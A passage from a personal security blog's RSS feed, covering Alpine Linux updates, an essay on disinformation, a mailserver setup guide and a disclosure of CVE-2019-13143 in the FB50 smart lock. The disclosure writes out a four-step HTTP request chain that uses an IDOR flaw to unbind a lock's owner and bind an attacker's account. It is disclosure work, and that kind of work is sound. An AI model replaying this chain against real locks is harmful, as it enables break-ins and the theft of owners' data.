 501]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It&#8217;s a lazy Friday afternoon here; yet another off day this week thanks to my
 502uni&#8217;s fest. My last &#8220;weekly&#8221; update was 10 days ago, and a lot has happened
 503since then. Let&#8217;s get right into it!</p>
 504
 505<h3 id="my-switch-to-alpine">My switch to Alpine</h3>
 506
 507<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
 508
 509<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
 510<span class="m">3817</span>
 511
 512<span class="c1"># or something in that ballpark</span>
 513</code></pre></div>
 514
 515<p>I&#8217;ve been wanting to reduce my system&#8217;s package count.</p>
 516
 517<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
 518sane package manager. I did come across Dylan Araps&#8217;
 519<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
 520for me (and still relatively new). I finally settled on
 521<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
 522
 523<blockquote>
 524  <p>Alpine Linux is a security-oriented, lightweight Linux distribution based 
 525  on musl libc and busybox.</p>
 526</blockquote>
 527
 528<p>The installation was a breeze, and I was quite surprised to see WiFi working
 529OOTB. In the past week of my using this distro, the only major hassle I faced
 530was getting my Minecraft launcher to run. The JRE isn&#8217;t fully ported to <code>musl</code>
 531yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
 532soon. (hint: it involves chroots)</p>
 533
 534<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
 535
 536<h3 id="packaging-for-alpine">Packaging for Alpine</h3>
 537
 538<p>On a related note, I&#8217;ve been busy packaging some of the stuff I use for Alpine
 539&#8211; you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
 540repository if you&#8217;re interested. I&#8217;m currently working on packaging Nim too, so
 541keep an eye out for that in the coming week.</p>
 542
 543<h3 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h3>
 544
 545<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
 546going to be speaking at PyCon India about our recent smart lock security
 547research. The conference is happening in Chennai, much to our convenience.
 548If you&#8217;re attending too, hit me up on Twitter and we can hang!</p>
 549
 550<h3 id="other">Other</h3>
 551
 552<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
 553strong, my reading however, hasn&#8217;t. I have <em>yet</em> to finish those books! This
 554week, for sure.</p>
 555
 556<p>Musically, I&#8217;ve been experimenting. I tried a bit of hip-hop and chilltrap, and
 557I think I like it? I still find myself coming back to metalcore/deathcore.
 558Here&#8217;s a list of artists I discovered (and liked) recently:</p>
 559
 560<ul>
 561<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
 562<li>生 Conform 死 (couldn&#8217;t find any official YouTube video, check Spotify)</li>
 563<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
 564<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
 565<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
 566</ul>
 567
 568<p>That&#8217;s it for now, I&#8217;ll see you next week!</p>
 569
 570<div class="footnotes">
 571<hr />
 572<ol>
 573<li id="fn-1">
 574<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a>&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 575</li>
 576</ol>
 577</div>
 578]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I&#8217;m trying out, in an effort to write more frequently
 579and to serve as a log of how I&#8217;m using my time. In theory, I will write this post
 580every week. I&#8217;ll need someone to hold me accountable if I don&#8217;t. I have yet to decide on
 581a format for this, but it will probably include a quick summary of the work I did,
 582things I read, IRL stuff, etc.</p>
 583
 584<p>With the meta stuff out of the way, here&#8217;s what went down last week!</p>
 585
 586<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>
 587
 588<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It&#8217;s a link to
 589the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
 590It creates a small community of sites and enables sharing of traffic among these sites.
 591The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
 592of those sites are beautiful. Mine pales in comparison.</p>
 593
 594<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
 595called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
 596and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
 597twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
 598
 599<p>Which brings me to the next thing I did this/last week.</p>
 600
 601<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>
 602
 603<p>I&#8217;m not a fan of the official Python client, because you know, Python is bloat.
 604As an advocate of <em>mnmlsm</em>, I can&#8217;t use it in good conscience. Thus, began my
 605authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
 606It&#8217;s not entirely useable as of yet, but it&#8217;s definitely getting there, with the help
 607of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
 608
 609<h3 id="other">Other</h3>
 610
 611<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
 612Darknet Diaries &amp; Off the Pill. To add to this list, I&#8217;ve begun binging Vice&#8217;s CYBER.
 613It&#8217;s pretty good &#8211; each episode is only about 30 mins and it hits the sweet spot,
 614delvering both interesting security content and news.</p>
 615
 616<p>My reading needs a ton of catching up. Hopefully I&#8217;ll get around to finishing up
 617&#8220;The Unending Game&#8221; this week. And then go back to &#8220;Terrorism and Counterintelligence&#8221;.</p>
 618
 619<p>I&#8217;ve begun learning Russian! I&#8217;m really liking it so far, and it&#8217;s been surprisingly
 620easy to pick up. Learning the Cyrillic script will require some relearning, especially
 621with letters like в, н, р, с, etc. that look like English but sound entirely different.
 622I think I&#8217;m pretty serious about learning this language &#8211; I&#8217;ve added the Russian keyboard
 623to my Google Keyboard to aid in my familiarization of the alphabet. I&#8217;ve added the <code>RU</code>
 624layout to my keyboard map too:</p>
 625
 626<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
 627</code></pre>
 628
 629<p>With that ends my weekly update, and I&#8217;ll see you next week!</p>
 630]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let&#8217;s start with its etymology and definiton.
 631According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
 632<em>disinformation</em> has been borrowed from the Russian word &#8212; <em>dezinformatisya</em> (дезинформа́ция),
 633derived from the title of a KGB black propaganda department.</p>
 634
 635<blockquote>
 636  <p>Disinformation is false information spread deliberately to deceive.</p>
 637</blockquote>
 638
 639<p>To fully understand disinformation, especially in the modern age, we need to understand the
 640key factors of any successful disinformation operation:</p>
 641
 642<ul>
 643<li>creating disinformation (what)</li>
 644<li>the motivation behind the op, or its end goal (why)</li>
 645<li>the medium used to disperse the falsified information (how)</li>
 646<li>the actor (who)</li>
 647</ul>
 648
 649<p>At the end, we&#8217;ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
 650
 651<p>In order to break monotony, I will also be using the terms &#8220;information operation&#8221;, or the shortened
 652forms &#8211; &#8220;info op&#8221; &amp; &#8220;disinfo&#8221;.</p>
 653
 654<h3 id="creating-disinformation">Creating disinformation</h3>
 655
 656<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
 657of any disinformation sample is a huge indicator of the level of sophistication of the
 658actor involved, i.e. is it a 12 year old troll or a nation state?</p>
 659
 660<p>Well crafted disinformation always has one primary characteristic &#8212; &#8220;plausibility&#8221;.
 661The disinfo must sound reasonable. It must induce the notion it&#8217;s <em>likely</em> true. 
 662To achieve this, the target &#8212; be it an individual, a specific demographic or an entire
 663nation &#8212; must be well researched. A deep understanding of the target&#8217;s culture, history,
 664geography and psychology is required. It also needs circumstantial and situational awareness,
 665of the target.</p>
 666
 667<p>There are many forms of disinformation. A few common ones are staged videos / photographs, 
 668recontextualized videos / photographs, blog posts, news articles &amp; most recently &#8212; deepfakes.</p>
 669
 670<p>Here&#8217;s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
 671imagery:</p>
 672
 673<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
 674<p lang="en" dir="ltr">Disinformation.
 675<br><br>
 676The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
 677<br><br>Recontextualisation as threat vector. 
 678<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
 679</p>&mdash; thaddeus e. grugq (@thegrugq) 
 680<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
 681</blockquote>
 682
 683<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> 
 684
 685<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
 686
 687<p>I like to broadly categorize any info op as either proactive or reactive. 
 688Proactively, disinformation is spread with the desire to influence the target
 689either before or during the occurence of an event. This is especially observed
 690during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
 691In offensive information operations, the target&#8217;s psychological state can be affected by
 692spreading <strong>fear, uncertainty &amp; doubt</strong>, or FUD for short.</p>
 693
 694<p>Reactive disinformation is when the actor, usually a nation state in this case,
 695screws up and wants to cover their tracks. A fitting example of this is the case
 696of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over 
 697eastern Ukraine. This tragic incident has been attributed to Russian-backed 
 698separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> 
 699Russian media is known to have desseminated a number of alternative &amp; some even
 700conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT&#8217;s (Dutch-lead Joint
 701Investigation Team) investigations pointed towards the separatists. 
 702The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
 703potentially correct information takes a credibility hit.</p>
 704
 705<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
 706in totalitarian regimes; when the government decides what the media portrays to the
 707masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
 708
 709<blockquote>
 710  <p>Official state media pin the blame for protests on the &#8220;black hand&#8221; of foreign interference, 
 711  namely from the United States, and what they have called criminal Hong Kong thugs.
 712  A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, 
 713  who are demanding an end to an extradition bill with China and the ability to elect their own leader.
 714  Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, 
 715  this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
 716  &#8230;</p>
 717</blockquote>
 718
 719<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
 720
 721<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
 722play a key role in influence ops en masse. It guarantees outreach due to the channel/paper&#8217;s
 723popularity.</p>
 724
 725<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
 726generate activity programmatically via the API, Twitter bots are the go-to choice today for 
 727info ops. Essentially, an actor attempts to create &#8220;discussions&#8221; amongst &#8220;users&#8221; (read: bots),
 728to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
 729get realtime insights into what sticks and what doesn&#8217;t.
 730The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
 731factory &#8212; the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
 732to create discussions about alternative theories.</p>
 733
 734<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
 735actively invest in creating group chats to spread political messages and memes. These parties
 736have volunteers whose sole job is to sit and forward messages.
 737Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
 738this is disinformation without a motive, or the motive is hard to determine simply because
 739the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
 740This is a difficult problem to combat, especially given the nature of the target audience.</p>
 741
 742<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
 743
 744<p>I doubt this requires further elaboration, but in short:</p>
 745
 746<ul>
 747<li>nation states and their intelligence agencies</li>
 748<li>governments, political parties</li>
 749<li>other non/quasi-governmental groups</li>
 750<li>trolls</li>
 751</ul>
 752
 753<p>This essentially sums up the what, why, how and who of disinformation. </p>
 754
 755<h3 id="personal-opsec">Personal OPSEC</h3>
 756
 757<p>This is a fun one. Now, it&#8217;s common knowledge that
 758<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
 759afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
 760lead to your OPSEC being compromised.
 761So if you really have to, you can feign activity using disinformation. For example,
 762pick a place, and throw in subtle details pertaining to the weather, local events
 763or regional politics of that place into your disinfo. Assuming this is Twitter, you can
 764tweet stuff like:</p>
 765
 766<ul>
 767<li>&#8220;Ugh, when will this hot streak end?!&#8221;</li>
 768<li>&#8220;Traffic wonky because of the Mardi Gras parade.&#8221;</li>
 769<li>&#8220;Woah, XYZ place is nice! Especially the fountains by ABC street.&#8221;</li>
 770</ul>
 771
 772<p>Of course, if you&#8217;re a nobody on Twitter (like me), this is a non-issue for you.</p>
 773
 774<p>And please, don&#8217;t do this:</p>
 775
 776<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
 777
 778<h3 id="conclusion">Conclusion</h3>
 779
 780<p>The ability to influence someone&#8217;s decisions/thought process in just one tweet is 
 781scary. There is no simple way to combat disinformation. Social media is hard to control.
 782Just like anything else in cyber, this too is an endless battle between social media corps
 783and motivated actors.</p>
 784
 785<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
 786folks see the truth in a post-truth world.</p>
 787
 788<div class="footnotes">
 789<hr />
 790<ol>
 791<li id="fn-1">
 792<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!).&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 793</li>
 794
 795<li id="fn-2">
 796<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>&#8217;s season one covers the MH17 investigation in detail.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 797</li>
 798
 799<li id="fn-3">
 800<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 801</li>
 802
 803<li id="fn-4">
 804<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a>&#160;<a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">&#8617;</a></p>
 805</li>
 806
 807<li id="fn-5">
 808<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>.&#160;<a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">&#8617;</a></p>
 809</li>
 810</ol>
 811</div>
 812]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I&#8217;d made an attempt at setting one up
 813around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
 814I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 815
 816<p>For this attempt, I wanted a simpler approach. I recall how terribly
 817confusing Dovecot &amp; Postfix were to configure and hence I decided to look
 818for a containerized solution, that most importantly, runs on my cheap $5 
 819Digital Ocean VPS &#8212; 1 vCPU and 1 GB memory. Of which only around 500 MB
 820is actually available. So yeah, <em>pretty</em> tight.</p>
 821
 822<h3 id="whats-available">What&#8217;s available</h3>
 823
 824<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
 825These are the ones I came across:</p>
 826
 827<ul>
 828<li><p><a href="https://poste.io">poste.io</a>: Based on an &#8220;open core&#8221; model. The base install is open source 
 829and free (as in beer), but you&#8217;ll have to pay for the extra stuff.</p></li>
 830<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io, 
 831but ships with a web UI that I didn&#8217;t need. </p></li>
 832<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
 833they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
 834<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
 835a mention. It however, needs a fresh box to work with. A box with absolutely 
 836nothing else on it. I can&#8217;t afford to do that.</p></li>
 837<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
 838</ul>
 839
 840<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
 841
 842<p>The first thing that caught my eye in the README:</p>
 843
 844<blockquote>
 845  <p>Recommended:</p>
 846  
 847  <ul>
 848  <li>1 CPU</li>
 849  <li>1GB RAM</li>
 850  </ul>
 851  
 852  <p>Minimum:</p>
 853  
 854  <ul>
 855  <li>1 CPU</li>
 856  <li>512MB RAM</li>
 857  </ul>
 858</blockquote>
 859
 860<p>Fantastic, I can somehow squeeze this into my existing VPS.
 861Setup was fairly simple &amp; the docs are pretty good. It employs a single
 862<code>.env</code> file for configuration, which is great.
 863However, I did run into a couple of hiccups here and there.</p>
 864
 865<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
 866of memory.</p>
 867
 868<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
 869</code></pre>
 870
 871<p>But it eventually worked after a couple of attempts.</p>
 872
 873<p>The next thing I struggled with &#8212; DNS. Specifically, the with the step where
 874the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
 875<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
 876isn&#8217;t exactly CloudFlare friendly; they can&#8217;t be directly copy-pasted into
 877a <code>TXT</code> record. </p>
 878
 879<p>This is what it looks like.</p>
 880
 881<pre><code>mail._domainkey IN  TXT ( "v=DKIM1; h=sha256; k=rsa; "
 882      "p=&lt;key&gt;"
 883      "&lt;more key&gt;" )  ; ----- DKIM key mail for icyphox.sh
 884</code></pre>
 885
 886<p>But while configuring the record, you set &#8220;Type&#8221; to <code>TXT</code>, &#8220;Name&#8221; to <code>mail._domainkey</code>,
 887and the &#8220;Value&#8221; to what&#8217;s inside the parenthesis <code>(  )</code>, <em>removing</em> the quotes <code>""</code>. 
 888Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
 889
 890<p>To simplify debugging DNS issues later, it&#8217;s probably a good idea to
 891point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an 
 892<code>A</code> record.
 893You&#8217;ll then have to set an <code>MX</code> record with the &#8220;Name&#8221; as <code>@</code> (or whatever your DNS provider
 894uses to denote the root domain) and the &#8220;Value&#8221; to <code>mail.domain.tld</code>.
 895And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of 
 896your <code>A</code> record &#8212; &#8220;Name&#8221; as the server IP and &#8220;Value&#8221; as <code>mail.domain.tld</code>.
 897I learnt this part the hard way, when my outgoing email kept getting
 898rejected by Tutanota&#8217;s servers.</p>
 899
 900<p>Yet another hurdle &#8212; SSL/TLS certificates. This isn&#8217;t very properly
 901documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
 902and look at an example. In short, install <code>certbot</code>, have port 80 free,
 903and run </p>
 904
 905<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
 906</code></pre></div>
 907
 908<p>Once that&#8217;s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in 
 909the container, something like so:</p>
 910
 911<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
 912
 913<span class="nt">volumes</span><span class="p">:</span>
 914    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
 915    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
 916    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
 917    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
 918
 919<span class="nn">...</span>
 920</code></pre></div>
 921
 922<p>With this done, you shouldn&#8217;t have mail clients complaining about 
 923wonky certs for which you&#8217;ll have to add an exception manually.</p>
 924
 925<h3 id="why-would-you">Why would you…?</h3>
 926
 927<p>There are a few good reasons for this:</p>
 928
 929<h4 id="privacy">Privacy</h4>
 930
 931<p>No really, this is <em>the</em> best choice for truly private
 932email. Not ProtonMail, not Tutanota. Sure, they claim so and I don&#8217;t 
 933dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
 934
 935<blockquote>
 936  <p>Truly secure systems do not require you to trust the service provider.</p>
 937</blockquote>
 938
 939<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
 940how can you really be sure that it isn&#8217;t a backdoored version of it?</p>
 941
 942<p>When you host your own mailserver, you truly own your email without having to rely on any
 943third-party.
 944This isn&#8217;t an attempt to spread FUD. In the end, it all depends on your
 945threat model™.</p>
 946
 947<h4 id="decentralization">Decentralization</h4>
 948
 949<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
 950active users. That&#8217;s obscene.
 951Email was designed to be decentralized but big corps swooped in and
 952made it a product. They now control your data, and it isn&#8217;t unknown that
 953Google reads your mail. This again loops back to my previous point, privacy.
 954Decentralization guarantees privacy. When you control your mail, you subsequently
 955control who reads it.</p>
 956
 957<h4 id="personalization">Personalization</h4>
 958
 959<p>Can&#8217;t ignore this one. It&#8217;s cool to have a custom email address to flex.</p>
 960
 961<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
 962
 963<p>Pfft, this is no competition.</p>
 964
 965<div class="footnotes">
 966<hr />
 967<ol>
 968<li id="fn-1">
 969<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 970</li>
 971
 972<li id="fn-2">
 973<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 974</li>
 975
 976<li id="fn-3">
 977<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn&#8217;t trust Signal.&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 978</li>
 979</ol>
 980</div>
 981]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p>
 982
 983<h3 id="the-lock">The lock</h3>
 984
 985<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
 986Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
 987across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
 988
 989<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
 990the Play/App Store to function. The app requires the user to create an
 991account before further functionality is available. 
 992It also facilitates configuring the fingerprint,
 993and unlocking from a range via Bluetooth.</p>
 994
 995<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
 996and the Android app.</p>
 997
 998<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
 999
1000<p>Android phones have the ability to capture Bluetooth (HCI) traffic
1001which can be enabled under Developer Options under Settings. We made 
1002around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p>
1003
1004<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
1005
1006<p>This is the value sent in the <code>Write</code> request:</p>
1007
1008<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
1009
1010<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
1011but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1012
1013<h3 id="via-the-android-app">Via the Android app</h3>
1014
1015<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too
1016far since most of it was obfuscated. Why bother when there exists an 
1017easier approach &#8211; BurpSuite.</p>
1018
1019<p>We captured and played around with a bunch of requests and responses,
1020and finally arrived at a working exploit chain.</p>
1021
1022<h3 id="the-exploit">The exploit</h3>
1023
1024<p>The entire exploit is a 4 step process consisting of authenticated 
1025HTTP requests:</p>
1026
1027<ol>
1028<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the 
1029vicinity), get the barcode and lock ID</li>
1030<li>Using the barcode, fetch the user ID</li>
1031<li>Using the lock ID and user ID, unbind the user from the lock</li>
1032<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker
1033to the lock</li>
1034</ol>
1035
1036<p>This is what it looks like, in essence (personal info redacted).</p>
1037
1038<h4 id="request-1">Request 1</h4>
1039
1040<pre><code>POST /oklock/lock/queryDevice
1041{"mac":"XX:XX:XX:XX:XX:XX"}
1042</code></pre>
1043
1044<p>Response:</p>
1045
1046<pre><code>{
1047   "result":{
1048      "alarm":0,
1049      "barcode":"&lt;BARCODE&gt;",
1050      "chipType":"1",
1051      "createAt":"2019-05-14 09:32:23.0",
1052      "deviceId":"",
1053      "electricity":"95",
1054      "firmwareVersion":"2.3",
1055      "gsmVersion":"",
1056      "id":&lt;LOCK ID&gt;,
1057      "isLock":0,
1058      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1059      "lockPwd":"000000",
1060      "mac":"XX:XX:XX:XX:XX:XX",
1061      "name":"lock",
1062      "radioName":"BlueFPL",
1063      "type":0
1064   },
1065   "status":"2000"
1066}
1067</code></pre>
1068
1069<h4 id="request-2">Request 2</h4>
1070
1071<pre><code>POST /oklock/lock/getDeviceInfo
1072
1073{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"}
1074</code></pre>
1075
1076<p>Response:</p>
1077
1078<pre><code>   "result":{
1079      "account":"email@some.website",
1080      "alarm":0,
1081      "barcode":"&lt;BARCODE&gt;",
1082      "chipType":"1",
1083      "createAt":"2019-05-14 09:32:23.0",
1084      "deviceId":"",
1085      "electricity":"95",
1086      "firmwareVersion":"2.3",
1087      "gsmVersion":"",
1088      "id":&lt;LOCK ID&gt;,
1089      "isLock":0,
1090      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1091      "lockPwd":"000000",
1092      "mac":"XX:XX:XX:XX:XX:XX",
1093      "name":"lock",
1094      "radioName":"BlueFPL",
1095      "type":0,
1096      "userId":&lt;USER ID&gt;
1097   }
1098</code></pre>
1099
1100<h4 id="request-3">Request 3</h4>
1101
1102<pre><code>POST /oklock/lock/unbind
1103
1104{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;}
1105</code></pre>
1106
1107<h4 id="request-4">Request 4</h4>
1108
1109<pre><code>POST /oklock/lock/bind
1110
1111{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"}
1112</code></pre>
1113
1114<h3 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h3>
1115
1116<p>You should have the lock transferred to your account. The severity of this
1117issue lies in the fact that the original owner completely loses access to
1118their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner 
1119(the attacker) needs to authorize that. </p>
1120
1121<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR.
